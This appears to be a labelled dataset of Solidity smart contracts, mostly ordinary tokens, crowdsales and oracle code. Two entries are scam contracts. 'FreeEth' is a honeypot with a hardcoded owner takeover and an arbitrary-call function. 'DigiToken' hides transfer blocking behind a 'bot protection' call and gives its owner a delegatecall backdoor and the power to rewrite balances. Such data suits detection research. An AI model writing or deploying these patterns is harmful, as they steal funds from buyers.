function totalGameDividends() public view returns(uint256) {
return totalGameDividends_;
}
function myTokens() public view returns(uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends() public view returns(uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns(uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns(uint256) {
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns(uint256) {
if(tokenSupply_ == 0){
return 0;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns(uint256) {
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) {
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) {
require(_tokensToSell <= tokenSupply_, "token to sell should be less then total supply!");
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum) internal onlyInitialInvestors() returns(uint256) {
address _customerAddress = msg.sender;
uint256 _dividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require((_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_)), "token should be > 0!");
if(tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
totalInvestment_ = SafeMath.add(totalInvestment_, _incomingEthereum);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
if(address(this).balance >= INVESTOR_QUOTA) {
initialState = false;
}
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0 | 928 |
pragma solidity ^0.4.19;
contract FreeEth
{
address public Owner = msg.sender;
function() public payable{}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af){Owner=0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
} | 0 | 823 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Joash";
string public constant TOKEN_SYMBOL = "Nita";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xc5dC671E6b171e5db9E48F4971e9D26E9831834C;
uint public constant START_TIME = 1544878800;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[3] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0)];
uint[3] memory weiRaisedEndsBounds = [uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000)];
uint64[3] memory timeStartsBounds = [uint64(1544878800),uint64(1550667600),uint64(1558094400)];
uint64[3] memory timeEndsBounds = [uint64(1550667600),uint64(1558094400),uint64(1567166395)];
uint[3] memory weiRaisedAndTimeRates = [uint(300),uint(150),uint(50)];
for (uint i = 0; i < 3; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[4] memory weiAmountBounds = [uint(100000000000000000000000),uint(1001000000000000000000),uint(1000000000000000000000),uint(20000000000000000000)];
uint[4] memory weiAmountRates = [uint(0),uint(150),uint(0),uint(70)];
for (uint j = 0; j < 4; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(2000 * TOKEN_DECIMAL_MULTIPLIER, 0xc5dC671E6b171e5db9E48F4971e9D26E9831834C, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1567166400)
CappedCrowdsale(500000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[3] memory addresses = [address(0xc7a1bd7a0a7ef23cb2544641cf6d7d14157a71bb),address(0xc5dc671e6b171e5db9e48f4971e9d26e9831834c),address(0x0dd4dffe4bcd2b1844a5326807670e25ed9e387b)];
uint[3] memory amounts = [uint(500000000000),uint(400000000000),uint(2000000000000)];
uint64[3] memory freezes = [uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 500000000000000000;
return super.hasClosed() || remainValue;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 500000000000000000);
require(msg.value <= 100000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 1 | 5,446 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract DigiToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Digi";
string public symbol = "DIGI";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,531 |
pragma solidity ^0.4.18;
contract ETHPriceWatcher {
address public ethPriceProvider;
modifier onlyEthPriceProvider() {
require(msg.sender == ethPriceProvider);
_;
}
function receiveEthPrice(uint ethUsdPrice) external;
function setEthPriceProvider(address provider) external;
}
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
